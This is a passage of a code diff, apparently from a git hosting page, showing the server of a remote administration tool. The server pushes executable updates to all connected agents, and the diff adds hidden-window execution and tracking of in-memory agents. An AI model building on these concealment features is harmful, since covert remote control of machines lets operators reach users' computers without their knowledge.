const pullId = createUploadPull({
|
||||||
|
clientId: client.id,
|
||||||
|
filePath: buildFile.filePath,
|
||||||
|
fileName: buildFile.filename,
|
||||||
|
size: buildFile.size,
|
||||||
|
});
|
||||||
|
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
|
||||||
|
|
||||||
|
client.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "file_upload_http",
|
||||||
|
id: uuidv4(),
|
||||||
|
payload: { path: destPath, url: pullUrl, total: buildFile.size },
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
if (clientNormOs !== "windows") {
|
||||||
|
client.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "file_chmod",
|
||||||
|
id: uuidv4(),
|
||||||
|
payload: { path: destPath, mode: "0755" },
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
client.ws.send(
|
||||||
|
encodeMessage({
|
||||||
|
type: "command",
|
||||||
|
commandType: "agent_update",
|
||||||
|
id: uuidv4(),
|
||||||
|
payload: { path: destPath, hash: fileHash, hideWindow },
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
metrics.recordCommand("agent_update");
|
||||||
|
results.push({ clientId: client.id, ok: true });
|
||||||
|
} catch (err: any) {
|
||||||
|
results.push({ clientId: client.id, ok: false, reason: err?.message || "unknown_error" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const successCount = results.filter((r) => r.ok).length;
|
||||||
|
const ip = server.requestIP(req)?.address || "unknown";
|
||||||
|
logAudit({
|
||||||
|
timestamp: Date.now(),
|
||||||
|
username: user.username,
|
||||||
|
ip,
|
||||||
|
action: AuditAction.AGENT_UPDATE,
|
||||||
|
success: true,
|
||||||
|
details: `update-all: ${successCount}/${onlineClients.length} clients updated from build ${buildId.substring(0, 8)}`,
|
||||||
|
});
|
||||||
|
|
||||||
|
logger.info(`[build:update-all] ${user.username} updated ${successCount}/${onlineClients.length} clients from build ${buildId.substring(0, 8)}`);
|
||||||
|
|
||||||
|
return Response.json({
|
||||||
|
ok: true,
|
||||||
|
totalOnline: onlineClients.length,
|
||||||
|
successCount,
|
||||||
|
results,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
return new Response("Not found", { status: 404 });
|
return new Response("Not found", { status: 404 });
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
if (error instanceof Response) {
|
if (error instanceof Response) {
|
||||||
|
|||||||
@@ -362,7 +362,7 @@ export async function handleDeployRoutes(
|
|||||||
type: "command",
|
type: "command",
|
||||||
commandType: "agent_update",
|
commandType: "agent_update",
|
||||||
id: uuidv4(),
|
id: uuidv4(),
|
||||||
payload: { path: destPath, hash },
|
payload: { path: destPath, hash, hideWindow: true },
|
||||||
}),
|
}),
|
||||||
);
|
);
|
||||||
|
|
||||||
|
|||||||
@@ -24,6 +24,7 @@ export type ClientInfo = {
|
|||||||
monitorInfo?: { width: number; height: number }[];
|
monitorInfo?: { width: number; height: number }[];
|
||||||
country?: string;
|
country?: string;
|
||||||
pingMs?: number;
|
pingMs?: number;
|
||||||
|
inMemory?: boolean;
|
||||||
enrollmentStatus?: EnrollmentStatus;
|
enrollmentStatus?: EnrollmentStatus;
|
||||||
publicKey?: string;
|
publicKey?: string;
|
||||||
keyFingerprint?: string;
|
keyFingerprint?: string;
|
||||||
|
|||||||
@@ -88,6 +88,7 @@ export function handleHello(
|
|||||||
info.user = payload.user;
|
info.user = payload.user;
|
||||||
info.monitors = payload.monitors;
|
info.monitors = payload.monitors;
|
||||||
info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo;
|
info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo;
|
||||||
|
info.inMemory = !!(payload as any).inMemory;
|
||||||
const geo = ip ? geoip.lookup(ip) : undefined;
|
const geo = ip ? geoip.lookup(ip) : undefined;
|
||||||
const countryRaw =
|
const countryRaw =
|
||||||
geo?.country || (payload as any).country || info.country || "ZZ";
|
geo?.country || (payload as any).country || info.country || "ZZ";
|
||||||
|
|||||||
Reference in New Issue
Block a user